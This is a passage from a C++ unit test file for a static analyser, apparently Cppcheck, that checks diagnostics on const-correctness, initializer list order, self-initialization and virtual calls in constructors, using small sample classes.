{\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n 